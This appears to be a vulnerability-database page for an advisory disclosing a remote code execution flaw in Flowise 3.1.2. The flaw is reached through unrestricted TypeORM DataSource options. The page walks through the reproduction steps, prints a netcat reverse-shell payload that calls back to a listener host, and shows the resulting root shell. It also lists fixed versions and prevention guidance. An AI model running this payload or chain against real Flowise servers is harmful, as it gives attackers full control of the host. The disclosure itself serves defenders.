Skip to content

GHSA-g32j-mmxr-gfq5 CVE-2026-69251

Flowise RCE via TypeORM DataSource

High npm
Severity
0.0 / 10
High · CVSS 4.0
Exploit chance (EPSS)
2.74%
Chance of exploitation in the next 30 days. Higher than 86.17% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-94 Improper Control of Generation of Code ('Code Injection')
Fix
Available
2 packages have a fixed version

Description

============================================================================= Security Advisory elttam

Topic: Flowise RCE via TypeORM DataSource

Module: FlowiseAI/Flowise Disclosed: 15-Apr-2026 Credits: Alex Brown Affects: FlowiseAI/Flowise 3.1.2

I. Background

Flowise AI is an open-source, low-code platform for building AI applications—such as chatbots, workflows, and autonomous agents—through an intuitive drag-and-drop interface, minimising the need for extensive coding.

Flowise allows users to connect to remote databases within a flow, which is performed using the TypeORM DataSource.

II. Problem Description

The following nodes allowed users to set arbitrary options for the TypeORM DataSource class using the additionalConfig node input:

This is considered a dangerous coding practice, because the options for the TypeORM DataSource class support loading local files as JavaScript code.

The following documents the steps to reproduce this RCE vulnerability by abusing the additionalConfig input on a MySQL Record Manager (packages/components/nodes/recordmanager/MySQLRecordManager/MySQLrecordManager.ts) node:

  1. Log into a Flowise instance and note the organisation ID in the response from POST /api/v1/auth/login, as shown below.
HTTP/1.1 200 OK
Set-Cookie: token=<REDACTED>; Path=/; HttpOnly; SameSite=Lax
Set-Cookie: refreshToken=<REDACTED>; Path=/; HttpOnly; SameSite=Lax
Set-Cookie: connect.sid=<REDACTED>; Path=/; HttpOnly; SameSite=Lax
Content-Type: application/json; charset=utf-8
Content-Length: 671
ETag: W/"29f-xnGhZVNYDhOOLUuVSPq0rZLC8mE"
Date: Wed, 15 Apr 2026 10:58:44 GMT
Connection: keep-alive
Keep-Alive: timeout=5

{
    "activeOrganizationCustomerId": null,
    "activeOrganizationId": "c060f6ef-047b-47b0-8f1a-15ffa11961cc", <1>
    "activeOrganizationProductId": "",
    "activeOrganizationSubscriptionId": null,
    "activeWorkspace": "Default Workspace",
    "activeWorkspaceId": "3206d8d3-944f-48c6-9332-11e2752b793e",
    "assignedWorkspaces": [
        {
            "id": "3206d8d3-944f-48c6-9332-11e2752b793e",
            "name": "Default Workspace",
            "organizationId": "c060f6ef-047b-47b0-8f1a-15ffa11961cc", <1>
            "role": "owner"
        }
    ],
    "email": "admin@flowise.local",
    "features": {},
    "id": "b60bc90f-c77d-41ba-bb7b-cbd7f9e6d4ab",
    "isOrganizationAdmin": true,
    "isSSO": false,
    "name": "Admin",
    "permissions": [
        "organization",
        "workspace"
    ],
    "roleId": "b1d1a990-b908-1f7f-889b-5603cb093ff1"
}

<1> The organisation ID that is required for a later step.

  1. Create a new document store and use the File Loader to upload a file containing JavaScript code that would be executed outside the vm2 sandbox. The following script is a reverse shell payload that connects to 172.17.0.1:1337 that had a filename of rce.js.
process.mainModule.require('child_process').execSync('/usr/bin/nc 172.17.0.1 1337 -e /bin/sh')
  1. Using a proxy tool such as Burp Suite or the browser's debug network tab, observe the response from the POST /api/v1/document-store/loader/process/{loader_id} endpoint and retrieve the storeId, as demonstrated in the response below.
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Content-Length: 1000
ETag: W/"3e8-7uqpJlOmso3F99EQLpeEzY2xh/o"
Date: Wed, 15 Apr 2026 10:59:34 GMT
Connection: keep-alive
Keep-Alive: timeout=5

{
    "characters": 94,
    "chunks": [
        {
            "chunkNo": 1,
            "docId": "544ff838-bc55-4b28-97a1-c7442710b014",
            "id": "7f5f4d41-f684-4b16-9b3c-c1623678e7a0",
            "metadata": "{\"source\":\"blob\",\"blobType\":\"\"}",
            "pageContent": "process.mainModule.require('child_process').execSync('/usr/bin/nc 172.17.0.1 1337 -e /bin/sh')",
            "storeId": "afb065cc-8b53-4ff3-82d3-a19e012a2ecb" <1>
        }
    ],
    "count": 1,
    "currentPage": 1,
    "description": "",
    "docId": "544ff838-bc55-4b28-97a1-c7442710b014",
    "file": {
        "files": [
            {
                "id": "5becc8f6-713b-4c6b-8ca8-3275791a730c",
                "mimePrefix": "application/x-javascript",
                "name": "rce.js",
                "size": 94,
                "status": "NEW",
                "uploaded": "2026-04-15T10:59:34.039Z"
            }
        ],
        "id": "544ff838-bc55-4b28-97a1-c7442710b014",
        "loaderConfig": {
            "file": "FILE-STORAGE::[\"rce.js\"]",
            "legacyBuild": "",
            "metadata": "",
            "omitMetadataKeys": "",
            "pointerName": "",
            "textSplitter": "",
            "usage": "perPage"
        },
        "loaderId": "fileLoader",
        "loaderName": "RCE File",
        "status": "SYNC",
        "totalChars": 94,
        "totalChunks": 1
    },
    "storeName": "RCE POC Store",
    "workspaceId": "3206d8d3-944f-48c6-9332-11e2752b793e"
}

<1> The store ID that is required for a later step.

  1. Import the following Chatflow and configure the "MySQL Record Manager", "OpenAI Embedding" and "Weaviate" nodes.

typeorm-datasource-rce.json

  1. Open the "Additional Parameters" window for the "MySQL Record Manager" node replace the placeholder values in the additionalConfig.entities setting. The ${HOME} is the home directory of the user running the Flowise server (e.g., /root on the published Docker image). The screenshot below shows an example path for the reverse shell payload that was uploaded in the previous steps.

<img width="2229" height="1148" alt="mysql-datasource-config" src="https://github.com/user-attachments/assets/f4351ee2-9761-458d-a2f8-cf21383394a2" />

  1. Start an Upsert operation and observe the reverse shell payload being executed, as demonstrated in the terminal output below.
$ nc -lnvp 1337
Listening on 0.0.0.0 1337
Connection received on 172.17.0.2 43421
id
uid=0(root) gid=0(root) groups=0(root),0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)

III. Impact

This sandbox escape vulnerability allows an authenticated user to execute arbitrary code on a server running Flowise, resulting in full compromise of the application.

IV. Solution

Do not allow users full control of the options for the TypeORM DataSource class. The following DataSource options are considered dangerous and should not be allowed:

  • extra: Could be abused to provide dangerous driver options.
  • entities: Could be abused to load arbitrary JavaScript files.
  • subscribers: Could be abused to load arbitrary JavaScript files.
  • migrations: Could be abused to load arbitrary JavaScript files.

Affected versions

npm

PackageVulnerableFixed in
flowise
< 3.1.3
3.1.3
flowise-components
< 3.1.3
3.1.3

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

flowise npm → 3.1.3

npm
npm install flowise@3.1.3
yarn
yarn add flowise@3.1.3
pnpm
pnpm add flowise@3.1.3

flowise-components npm → 3.1.3

npm
npm install flowise-components@3.1.3
yarn
yarn add flowise-components@3.1.3
pnpm
pnpm add flowise-components@3.1.3

Severity breakdown

CVSS 4.0 0.0

CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

Attack vector
Network
Attack complexity
Low
Attack requirements
Present
Privileges required
Low
User interaction
None
Confidentiality (vulnerable system)
High
Integrity (vulnerable system)
High
Availability (vulnerable system)
High
Confidentiality (subsequent systems)
High
Integrity (subsequent systems)
High
Availability (subsequent systems)
High

CVSS 3.1 8.8

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

Weakness

CWE-94: Improper Control of Generation of Code ('Code Injection')

The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.

How to prevent it
  • Architecture and Design: Refactor your program so that you do not have to dynamically generate code.
  • Architecture and Design: Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which code can be executed by your product. Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.
  • Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. To reduce the likelihood of code injection, use stringent allowlists that limit which constructs are allowed. If you are dynamically constructing code that invokes a function, then verifying that the input is alphanumeric might be insufficient. An attacker might still be able to reference a dangerous function that you did not intend to allow, such as system(), exec(), or exit().
  • Testing: Use dynamic tools and techniques that interact with the product using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The product's operation may slow down, but it should not become unstable, crash, or generate incorrect results.
  • Operation: Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
  • Operation: Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
  • Implementation: For Python programs, it is frequently encouraged to use the ast.literal_eval() function instead of eval, since it is intentionally designed to avoid executing code. However, an adversary could still cause excessive memory or stack consumption via deeply nested structures [REF-1372], so the python documentation discourages use of ast.literal_eval() on untrusted data [REF-1373].

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-w7x8-q2gp-5cgg
Flowise Prompt Injection to RCE and SSRF via CSV/Airtable Agent Python Validator Bypass
Critical Also affects flowise
GHSA-9gvv-qjj3-2p6g
Flowise NodeVM sandbox escape via puppeteer allowlist - authenticated RCE and arbitrary file read via Chromium
High Also affects flowise
GHSA-qgvm-j2hm-6m38
Flowise: Unauthenticated OAuth2 token refresh endpoint returns access tokens — enables token theft for any connected service
Critical Also affects flowise
GHSA-5xvg-pmgg-3mxr
Flowise: CSV Agent Prompt Injection Remote Code Execution Vulnerability
Critical Also affects flowise
GHSA-gmmw-qg98-6j6p
Flowise: Broken Access Control in Stripe Subscription Endpoints Allows Cross-Tenant Billing Manipulation
High Also affects flowise
GHSA-8gj2-2cvc-6xx7
Flowise: Unauthenticated Credential Abuse via Text-to-Speech Endpoint Allows Unauthorized Use of Private Chatflow TTS Credentials
Medium Also affects flowise
GHSA-fm2f-4339-4p2f
Flowise: Missing Authorization on Execution Update Endpoint
Medium Also affects flowise
GHSA-wch5-xp77-fxg4
Flowise: Cross-Workspace OAuth2 Credential Metadata Leak
High Also affects flowise
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor